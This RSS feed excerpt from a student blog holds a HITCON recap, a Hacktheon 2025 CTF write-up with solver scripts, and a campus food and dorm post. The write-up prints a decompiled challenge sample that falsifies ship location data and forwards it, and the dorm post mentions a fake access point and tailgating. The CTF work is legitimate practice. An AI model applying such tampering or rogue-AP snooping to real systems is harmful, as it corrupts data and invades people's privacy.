&lt;p&gt;&lt;img src=&quot;image-18.png&quot; alt=&quot;image-18.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但這個時候已經結束了，幸好第三名沒被淘汰&lt;br /&gt;
奪冠熱門&lt;a href=&quot;https://nckuctf.org/&quot;&gt;牛肉湯&lt;/a&gt;也因為這題進到敗者組&lt;/p&gt;
&lt;h3&gt;Esports - 貓咪大戰爭&lt;/h3&gt;
&lt;p&gt;一個 Rust 版網頁貓咪大戰爭，總之可以 race condition 做 underflow 拿無限金錢&lt;br /&gt;
可惜這題是單挑題，雖然我寫完 exploit 了但 Esports 題只有台上的人可以打&lt;br /&gt;
把腳本傳給隊友的話應該就算作弊了
...
只好飲恨看著隊友用手打贏對面的腳本（？&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-16.png&quot; alt=&quot;image-16.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://iancmd.dev/&quot;&gt;ian&lt;/a&gt; 奇蹟般地用手打贏之後我們就進 Esports 決賽了&lt;br /&gt;
決賽是點餅乾遊戲的逆向題，&lt;a href=&quot;https://naup.mygo.tw/&quot;&gt;Naup&lt;/a&gt; 還在逆向的時候&lt;br /&gt;
對面 10F 反手就掏出連點器直接奪冠（用魔法打敗魔法.jpg）&lt;/p&gt;
&lt;h2&gt;HITCON Cyber Range 決賽 (as staff)&lt;/h2&gt;
&lt;p&gt;其實這次到現場並不是以 CTF 參賽選手的身分，而是 Cyber Range 的 STAFF 😎（歡迎加入 TRAPA）&lt;br /&gt;
我出了兩道題目也做了視覺化，所以需要待在現場以免出問題&lt;br /&gt;
但題目內容應該沒辦法說就是了，這邊會紀錄一些其他東西&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-19.png&quot; alt=&quot;image-19.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;當 staff 的好處之一就是可以跟老闆 ddaa 一起住飯店，爽度不亞於讓 agent 自動解題目&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-20.png&quot; alt=&quot;image-20.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;這次視覺化是從去年的版本改的，改掉了一些令人詬病的問題&lt;br /&gt;
加入了廣受好評的遙控功能，現在甚至還能噴火&lt;br /&gt;
如果你想花 100 億之類的買下視覺化的話可以聯絡我們老闆
&lt;img src=&quot;image-21.png&quot; alt=&quot;image-21.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;幸好我負責的部分都沒出事，就在旁邊打了兩天的 CTF ㄏㄏ&lt;br /&gt;
會場旁邊還有一些社群的攤位，當然也有免費食物，乞丐超人再次要到飯&lt;/p&gt;
&lt;h2&gt;後記&lt;/h2&gt;
&lt;p&gt;拿了第一名&lt;br /&gt;
開心開心開心，超扯超扯超扯&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-22.png&quot; alt=&quot;image-22.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;感覺還是挺勵志的，我這種沒甚麼料的人還是可以靠大戰隊拿到第一名&lt;br /&gt;
實在是德不配位，希望總有一天能變成很強的人🙏&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Fun fact 1: 2024 和 2025 年 Cake 的四個成員都有參加 HITCON CTF 但 Cake 的隊名沒有以任何形式出現過 QQ&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Fun fact 2: 頒獎時我們是第二名，事後才發現分數算錯了其實是第一名，所以圖片中我們是拿第二名的板子&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Fun fact 3: 頒獎時 10F 是第一名，但大家都以為會是牛肉湯，當時氣氛超級微妙&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Fun fact 4: 在走道聊天遇到蕭老師跟寬寬，和他們說我在竹狐，他們看起來頗驚訝竹狐不是純交大戰隊，突然有種叛國的背德感&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Fun fact 5: 坐電梯其實是站電梯&lt;/em&gt;&lt;/p&gt;
</content:encoded></item><item><title>Hacktheon Sejong 2025 Write-up 與心得</title><link>https://flydragonw.github.io/posts/hacktheon_2025/</link><guid isPermaLink="true">https://flydragonw.github.io/posts/hacktheon_2025/</guid><description>Write-up of Bacode/Bridge/I love reversing/Shadow of the System/Watch/Hidden message</description><pubDate>Sat, 26 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://visitor-badge.laobi.icu/badge?page_id=flydragon.blog.hacktheon_2025&amp;amp;left_color=%232b3645&amp;amp;right_color=%2364a2e8&quot; alt=&quot;visitor badge&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;Hacktheon Sejong 據說是韓國版的金盾獎，看到前年很多人飛韓國參加就一直蠻想打的&lt;br /&gt;
因為限制只有大學生能夠參賽，所以是第一次參加，也就代表 Cake 的好隊友們不能陪我打了 QQ&lt;br /&gt;
這次跟 albert、呂老闆、slash（他去打黑客松了，嚴厲斥責） 一起打，最後是第 42 名。&lt;em&gt;註：前 10 名可以去韓國打決賽&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;順帶一提，國籍可以填 Taiwan，填 ROC 的話國旗會是 China&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;%E8%9E%A2%E5%B9%95%E6%93%B7%E5%8F%96%E7%95%AB%E9%9D%A2%202025-04-26%20170902.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;防雷寫在前面：這篇 Write-up 都是 20+ solve 的水題，且大量使用 LLM，想看更完整的解答可以等 牛肉湯 / I&apos;m down QQ / 吉娃娃 的 Write-up&lt;/p&gt;
&lt;h2&gt;賽制&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Jeopardy&lt;/li&gt;
&lt;li&gt;分數線性降低、無首殺分&lt;/li&gt;
&lt;li&gt;分為 Advanced 組和 Beginner 組，題目似乎相同&lt;/li&gt;
&lt;li&gt;題目分階段解鎖，解掉當前階段任一題目就會開放下一階段的題目&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Reverse&lt;/h2&gt;
&lt;h3&gt;Barcode&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;ELF 會讀入一個 hex-string 並根據 hex-string 輸出 &apos;*&apos; 和 &apos; &apos; 組成的圖形，給輸出檔案要求回推原始輸入&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;範例：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;❯ ./barcode 0x1111111122222222
 *   *  
 *   *  
 *   *  
 *   *  
*   *   
*   *   
*   *   
*   *   
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;乖乖打開 IDA 逆，總之關鍵在這
&lt;img src=&quot;image.png&quot; alt=&quot;alt text&quot; /&gt;
輸入的 hex-string 會被切成每 8 個 bytes 一組，分別代表 8x8 的 Block，除了第 0 個 Block 以外，對每個 Block 都先 XOR -1 (就是 NOT) 再和前一個 Block 做一次 xor，最後根據每個 bit 輸出結果&lt;/p&gt;
&lt;p&gt;逆完把邏輯丟給 ChatGPT 再修一下 Spec 就能生出解題腳本了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import sys 
MASK = 0xFFFFFFFFFFFFFFFF  
def slurp_blocks(stdin_lines): 
    rows = [ln.rstrip(&apos;\n&apos;) for ln in stdin_lines if len(ln.rstrip(&apos;\n&apos;)) == 8] 
    return [rows[i:i + 8] for i in range(0, len(rows), 8)] 
 
def block_to_int(block): 
    v = 0 
    for r in range(8): 
        for c in range(8): 
            if block[r][c] == &apos;*&apos;: 
                v |= 1 &amp;lt;&amp;lt; (r * 8 + c) 
    return v 
 
def recover_orig(out_blocks): 
    orig = [out_blocks[0]] 
    for i in range(1, len(out_blocks)): 
        orig.append(((~out_blocks[i]) &amp;amp; MASK) ^ orig[i-1]) 
    return orig 

def main(): 
    out_blocks = [block_to_int(b) for b in slurp_blocks(sys.stdin)] 
 
    orig = recover_orig(out_blocks) 
    hex_string = &apos;0x&apos; + &apos;&apos;.join(f&apos;{v:016x}&apos; for v in orig) 
    print(hex_string) 
 
if __name__ == &apos;__main__&apos;: 
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Bridge&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;apk 裡有 encode 跟 decode 能 call，給 encode 過的結果，flag 是 decode 的結果&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;看到 apk 就拿出 android 死人三件套&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;jadx&lt;/li&gt;
&lt;li&gt;apktool&lt;/li&gt;
&lt;li&gt;frida&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;這次只用到 jadx 跟 frida 而已&lt;br /&gt;
從 Mainactivity 往上追&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-1.png&quot; alt=&quot;alt text&quot; /&gt;
&lt;img src=&quot;image-2.png&quot; alt=&quot;alt text&quot; /&gt;
&lt;img src=&quot;image-3.png&quot; alt=&quot;alt text&quot; /&gt;
追到最後會發現 load 一個 Library
&lt;img src=&quot;image-4.png&quot; alt=&quot;alt text&quot; /&gt;
要逆這個光聽就覺得麻煩了，所以還是動態解就好&lt;/p&gt;
&lt;p&gt;把 Frida server 推到模擬器上面待機之後&lt;br /&gt;
Attach 並執行腳本 call decode 就好了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;frida -U -p &amp;lt;bridge_pid&amp;gt; -l .\solve.js
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Java.perform(function() {
    var BridgeLib = Java.use(&apos;com.hacktheon.bridge.BridgeLib&apos;);
    console.log(&apos;Hooked&apos;);

    var enc = &quot;4658hg76&amp;lt;h85eed73ihghidi8ehf&amp;lt;78;&quot;;
    var decoded = BridgeLib.decode(enc);
    console.log(&apos;Flag: &apos; + decoded);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;I love reversing&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;Pyinstaller 打包的 exe 檔，做了甚麼不重要&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;自從上次打 EOF Final 被 pyc 坑慘之後就一直記著這個西方神秘網站 &lt;a href=&quot;https://pylingual.io/&quot;&gt;PyLingual&lt;/a&gt; 再搭配 &lt;a href=&quot;https://github.com/extremecoders-re/pyinstxtractor&quot;&gt;pyinstxtractor&lt;/a&gt; 就能解了&lt;/p&gt;
&lt;p&gt;先用 pyinstxteactor 拆出 .pyc 檔案，再用 PyLingual 還原回 Python 檔&lt;/p&gt;
&lt;p&gt;根據題目說明可以知道 flag 就是 &lt;code&gt;2.593627&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: infect.py
# Bytecode version: 3.12.0rc2 (3531)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)

import requests
from flask import Flask, request, jsonify
app = Flask(__name__)

def infect(location_data):
    location_data[&apos;latitude&apos;] += 2.593627
    location_data[&apos;longitude&apos;] += 2.593627
    return location_data

@app.route(&apos;/location_data&apos;, methods=[&apos;POST&apos;])
def location_data():
    location_data = request.json
    print(&apos;Received data from attack instruction PC:&apos;, location_data)
    location_data = infect(location_data)
    url = &apos;http://192.168.101.101:4653/location_data&apos;
    response = requests.post(url, json=location_data)
    print(&apos;Response from ship node:&apos;, response.text)
    return jsonify({&apos;message&apos;: &apos;Data forwarded to ship node successfully!&apos;})
if __name__ == &apos;__main__&apos;:
    app.run(host=&apos;0.0.0.0&apos;, port=4653)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Forensics&lt;/h2&gt;
&lt;h3&gt;Shadow of the System&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;給了一個 SYSTEM 檔案，要求找到可疑行為後印出的字串&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;用 RegExp.exe 可以在 ControlSet001 底下找到很多 Service，根本看不完&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-5.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;查 cmd.exe 也一堆&lt;br /&gt;
最後從題目敘述通靈搜 backdoor 找到了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-6.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;註：有試過直接 grep 找不到，後來發現要搜 unicode&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Watch&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;給了 Cache0000.bin 要還原出當時 RDP notepad 寫的字串&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;可以用 &lt;a href=&quot;https://github.com/ANSSI-FR/bmc-tools&quot;&gt;BMC-Tool&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python3 bmc-tools/bmc-tools.py -s rdp/Cache0000.bin -d output -b
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以找到這個&lt;br /&gt;
&lt;img src=&quot;image-7.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;註： &lt;code&gt;-b&lt;/code&gt; 可以自動拼成大圖&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Hidden message&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;給張圖，要找隱藏訊息&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://georgeom.net/StegOnline/upload&quot;&gt;StegOnline&lt;/a&gt; 可以簡單解掉&lt;br /&gt;
Extract LSB 就可以看到 flag
&lt;img src=&quot;image-8.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;後記&lt;/h2&gt;
&lt;p&gt;感覺下次可以報 Advanced，好像比較容易進決賽&lt;/p&gt;
&lt;p&gt;唉真的越來越菜，要多打一點 CTF 了&lt;br /&gt;
拜託揪我&lt;/p&gt;
</content:encoded></item><item><title>台大資工大一上修膳心得</title><link>https://flydragonw.github.io/posts/ntucsie_experience_1/</link><guid isPermaLink="true">https://flydragonw.github.io/posts/ntucsie_experience_1/</guid><description>2024 9 月到 12 月開學後的一些瑣事</description><pubDate>Sat, 01 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://visitor-badge.laobi.icu/badge?page_id=flydragon.blog.ntucsie_experience_1&amp;amp;left_color=%232b3645&amp;amp;right_color=%2364a2e8&quot; alt=&quot;visitor badge&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;⚠️本人文筆極差，文學造詣比較好的同學拜託別看，怕你看到中風⚠️&lt;/p&gt;
&lt;p&gt;看到大家都在發修課心得，搞得我心癢癢的也想寫&lt;br /&gt;
尤其現在網路上查的到的修課心得全都是電神寫的，每個 GPA 都超高，實在迫切需要一篇真正的普通人寫的心得&lt;br /&gt;
但後來想想，看個學渣大談修課實在沒啥意思，不如就來分享吃飯跟生活上的心得吧 &amp;gt;.0&lt;/p&gt;
&lt;h2&gt;修膳心得&lt;/h2&gt;
&lt;p&gt;根據不同價格帶分享一些喜歡的店，希望拋磚引玉看到其他人分享修膳心得。&lt;/p&gt;
&lt;h3&gt;0 ~ 100 元&lt;/h3&gt;
&lt;h4&gt;i珍食 &amp;amp; 友善食光&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;評級：S&lt;/li&gt;
&lt;li&gt;地點：各大超商&lt;/li&gt;
&lt;li&gt;推薦餐點：通常 越少見=越好吃&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;這個價格帶不用多想了，超商的乞丐食品是我們能吃到最頂的食物。&lt;br /&gt;
水源宿舍附近就有四間超商，抓好時機去的話不太需要擔心買不到的問題&lt;/p&gt;
&lt;h4&gt;五九麵館&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;評級：A&lt;/li&gt;
&lt;li&gt;地點：公館跟 118 巷都有&lt;/li&gt;
&lt;li&gt;推薦餐點：五九乾麵&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;80 塊一碗，有菜有肉還好吃系列&lt;br /&gt;
不過通常人很多而且資工系學生也很多，吃個飯到處是熟面孔，I 人慎入&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;二八麵堂&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;評級：B&lt;/li&gt;
&lt;li&gt;地點：118 巷&lt;/li&gt;
&lt;li&gt;推薦餐點：肉麻麵&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;五九吃膩之後終究需要其他麵店&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-1.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;學餐&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;評級：B&lt;/li&gt;
&lt;li&gt;地點：小福樓&lt;/li&gt;
&lt;li&gt;推薦餐點：摩斯 99 元套餐&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;不得不說，台大學餐真的蠻拉的，而且評價普遍兩極&lt;br /&gt;
除了小福的 99 元摩斯漢堡套餐！我都偷溜進普通邊吃邊旁聽，生活美滋滋&lt;/p&gt;
&lt;h3&gt;100 ~ 200 元&lt;/h3&gt;
&lt;h4&gt;祥滿速食餐坊&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;評級：A&lt;/li&gt;
&lt;li&gt;地點：水源市場&lt;/li&gt;
&lt;li&gt;推薦餐點：海鮮火鍋&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;買烤布蕾的時候可以順便吃&lt;br /&gt;
料滿滿的海鮮火鍋，湯都是海鮮的清甜&lt;br /&gt;
不過畢竟在市場裡，環境不算乾淨&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-12.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;阿孟石碗燒河粉&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;評級：A&lt;/li&gt;
&lt;li&gt;地點：118 巷&lt;/li&gt;
&lt;li&gt;推薦餐點：石碗燒牛肉河粉&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;這輩子吃過最好吃的牛肉河粉。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-7.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;容城麻辣mini火鍋&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;評級：A&lt;/li&gt;
&lt;li&gt;地點：汀洲路&lt;/li&gt;
&lt;li&gt;推薦餐點：火鍋&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;人情味十足的小火鍋，180 一鍋算公道價了&lt;br /&gt;
這家有王子麵吃到飽，killer 級品項，其他同價位小火鍋都是白飯吃到飽&lt;br /&gt;
鍋in跟唐老鴨都蠻值得去的，但我喜歡吃泡麵&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-2.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;築本屋&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;評級：A&lt;/li&gt;
&lt;li&gt;地點：公館捷運站&lt;/li&gt;
&lt;li&gt;推薦餐點：豬排定食&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;同學推薦的優質餐廳，180 就能吃到日式定食&lt;br /&gt;
跟有優惠的福勝亭差不多價位，小菜可以續
&lt;img src=&quot;image-11.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;好吃好吃牛排&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;評級：A&lt;/li&gt;
&lt;li&gt;地點：公館&lt;/li&gt;
&lt;li&gt;推薦餐點：學生牛排&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;生菜、麻辣鴨血、肉燥吃到飽，比附近自助吧吃到飽的爽一點&lt;br /&gt;
圖片是他們的威靈頓牛排但學生牛排才是最頂的&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-5.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;生魚飯&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;評級：B&lt;/li&gt;
&lt;li&gt;地點：公館&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;震驚南部人三百年系列，有菜有海鮮居然兩百有找&lt;br /&gt;
來台北之前都沒吃過這種食物，公館附近很多間就不瞎推薦了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-3.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;稻咖哩&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;評級：B&lt;/li&gt;
&lt;li&gt;地點：溫州街&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;聽說起司豬肉咖哩很好吃，但我每次（兩次）去都賣完了&lt;br /&gt;
墨魚咖哩的趣味性十足，衝著能看到未來的大老闆們滿嘴黑這點就值得一去&lt;br /&gt;
&lt;img src=&quot;image-4.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;義樂麵屋&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;評級：B&lt;/li&gt;
&lt;li&gt;地點：羅斯福路&lt;/li&gt;
&lt;li&gt;推薦餐點：青醬義大利麵&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;用優惠券之後挺划算，沒有優惠券的話找你住水源的同學拿&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-8.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;200 元以上&lt;/h3&gt;
&lt;h4&gt;小灶咖咖哩&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;評級：A&lt;/li&gt;
&lt;li&gt;地點：汀州路&lt;/li&gt;
&lt;li&gt;推薦餐點：紅酒牛肉咖哩&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;乞丐如我，200 元以上的餐廳我通常是不吃的，除非忍不住。&lt;br /&gt;
清爽的咖哩，必吃系列。不過他們搬家之後我還沒吃過&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-9.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;水源夜市&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;評級：A&lt;/li&gt;
&lt;li&gt;地點：水源市場&lt;/li&gt;
&lt;li&gt;推薦餐點：燒肉冠軍侯、放羊吃草、素食地瓜球、吉拿棒、煎鳥蛋&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;財富自由大概就是去夜市不用看價格吧&lt;br /&gt;
除了煎餅果子跟煎蔥餅還沒吃過，個人覺得這五家是最優的&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-10.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;榮譽榜&lt;/h3&gt;
&lt;h4&gt;鳳城&lt;/h4&gt;
&lt;p&gt;上完體育課配上鳳城三件套，夫復何求。&lt;/p&gt;
&lt;h4&gt;麗宴精緻快餐&lt;/h4&gt;
&lt;p&gt;有湯可以喝的學餐。&lt;/p&gt;
&lt;h4&gt;各種附餐點的活動&lt;/h4&gt;
&lt;p&gt;跟剩食社團一樣是 CP 值帝王&lt;br /&gt;
蹭飯吃得好，月底沒煩惱。&lt;/p&gt;
&lt;h2&gt;大一上的幾個抉擇&lt;/h2&gt;
&lt;p&gt;大一上有些選擇讓我猶豫很久，分享一些我的看法。&lt;/p&gt;
&lt;h3&gt;宿舍&lt;/h3&gt;
&lt;p&gt;懶人包：BOT&lt;/p&gt;
&lt;h4&gt;男一/BOT 都幾&lt;/h4&gt;
&lt;p&gt;當初在男一跟 BOT 之間掙扎很久，聽說 BOT 有幾個缺點，但住進來發現都問題不大。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;很貴
&lt;ul&gt;
&lt;li&gt;租屋補助過後 BOT 還是比男一舍貴不少，但光是獨立衛浴就絕對值得花這個錢。&lt;/li&gt;
&lt;li&gt;其實只有單人房特別貴，雙人房或三人房的價格都蠻有競爭力的。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;離系館很遠
&lt;ul&gt;
&lt;li&gt;水源距離騎腳踏車十幾分鐘的路程，很近啦&lt;/li&gt;
&lt;li&gt;長興離系館很近；水源離捷運站比較近&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;很難抽
&lt;ul&gt;
&lt;li&gt;我是第一輪就抽到第一志願&lt;/li&gt;
&lt;li&gt;聽說今年新生是備取都有上，應該有心等都能住&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;管很嚴
&lt;ul&gt;
&lt;li&gt;要刷兩次門禁，但我都跟在別人後面進&lt;/li&gt;
&lt;li&gt;D卡都說不能帶異性，但我的 Fake AP 有抓到人偷帶&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;交不到朋友
&lt;ul&gt;
&lt;li&gt;BOT 也有多人房，不過是外生比較多&lt;/li&gt;
&lt;li&gt;確實住男一認識同系的機會比較大（畢竟是四人房）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;當然有條件的話在外租房最舒適。&lt;/p&gt;
&lt;h4&gt;BOT 奇聞軼事&lt;/h4&gt;
&lt;p&gt;開學三個月，住雙人房的我遇過三個室友，前兩個太酷了實在是必須記錄下來
第一個室友很晚入住，哲學系研究所的學長，他的 blog 寫很多有趣的辯題也得很多校內的獎項，重點是他還幫付電費跟買浴室小物，優質室友。不過他一入住就說會搬去單人房，排到之後就馬上搬走了。&lt;/p&gt;
&lt;p&gt;第二個室友實在骨骼清奇，會在我用電腦的時候站在我後面不發一語，問他只會說「我控制不了自己」，後來他休學回國治病了，留了兩雙我們兩個都穿不下的名牌球鞋跟一串衛生紙給我，人其實挺好的。&lt;/p&gt;
&lt;p&gt;第三個室友是整棟宿舍最頂的室友沒有之一，付了錢辦了入住就沒出現過。&lt;/p&gt;
&lt;h3&gt;宿營&amp;amp;系烤&amp;amp;舞會&lt;/h3&gt;
&lt;p&gt;懶人包：E 人參加，I 人不用參加。&lt;/p&gt;
&lt;h4&gt;宿營&lt;/h4&gt;
&lt;p&gt;喜歡跟人互動的話就會玩得很開心，不喜歡的話就會很坐牢。&lt;br /&gt;
如果你跟我一樣不敢跟女生交流的話也不用擔心，因為基本上全都是資工系的&lt;br /&gt;
現在比較熟的同學有一半都是宿營講過話的，有參加有差
再講更多就會暴雷了，總之就是活動都很用心舉辦。&lt;/p&gt;
&lt;h4&gt;系烤&lt;/h4&gt;
&lt;p&gt;通常會跟認識的人團報，而且是開學後的活動，所以不像宿營那樣可以認識很多系上的同學&lt;br /&gt;
不參加也沒關係的活動，但我有交到新朋友所以還不錯ㄏ&lt;/p&gt;
&lt;h4&gt;舞會&lt;/h4&gt;
&lt;p&gt;以為是很認真的跳舞活動所以沒報名，後來才知道好像跟南部的耶誕晚會差不多概念&lt;br /&gt;
看同學限動感覺就是去夜店玩，有符合 dress code 的衣服可以去看看&lt;/p&gt;
&lt;h3&gt;系學會費&lt;/h3&gt;
&lt;p&gt;懶人包：系核可繳，系邊可不繳。&lt;/p&gt;
&lt;p&gt;繳系學會費最大的好處就是有衣服、系櫃、工作坊，如果其中兩樣你有需求的話蠻值得繳的，很划算。&lt;br /&gt;
但我沒加系隊不太需要櫃子，工作坊教的也是蠻簡單的東西（Markdown、LaTeX、Linux 基本操作等）&lt;br /&gt;
擔心不能打桌遊或麻將的話就想多了，我都蹭有繳錢的人。&lt;/p&gt;
&lt;h3&gt;社團&lt;/h3&gt;
&lt;p&gt;懶人包：不加社團也可以。&lt;/p&gt;
&lt;p&gt;學校很多各式各樣的社團，進來才知道沒有資安社，&lt;br /&gt;
後來想加蛋糕社，結果收滿了不給加，下學期的招生表單也是五天就閃電關閉，都把他們粉專設搶先看了還是沒看到貼文，被臉書搞超級難過的，希望畢業之前有機會去做蛋糕。&lt;br /&gt;
雖然沒加社團也不會有什麼影響，但少了認識外系同學的機會非常可惜。&lt;/p&gt;
&lt;h3&gt;實習&lt;/h3&gt;
&lt;p&gt;懶人包：經驗/GPA 二選一&lt;/p&gt;
&lt;p&gt;前面幾樣我都掙扎蠻久的，實習倒是沒怎麼考慮就衝了&lt;br /&gt;
之前就挺嚮往在業界實習，目前為止是沒後悔，分享一些從我的個人經驗整理的優缺點&lt;/p&gt;
&lt;p&gt;優點：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;可以跟偶像共處一室 &amp;gt;///&amp;lt;
&lt;ul&gt;
&lt;li&gt;以前只能遠觀的大神級人物現在就是老闆/同事&lt;/li&gt;
&lt;li&gt;現在知道君王論就是 bullshit，優秀的領導者能讓底下的人不自覺地拿出好表現。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;累積工作經驗
&lt;ul&gt;
&lt;li&gt;實習之後才知道大人都在騙人，工作比讀書開心很多（希望三十年內我都這麼想）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;白嫖公司資源
&lt;ul&gt;
&lt;li&gt;各種層面上的資源，總之會比想像中的多很多&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;缺點：&lt;/p&gt;
&lt;ul&gt;
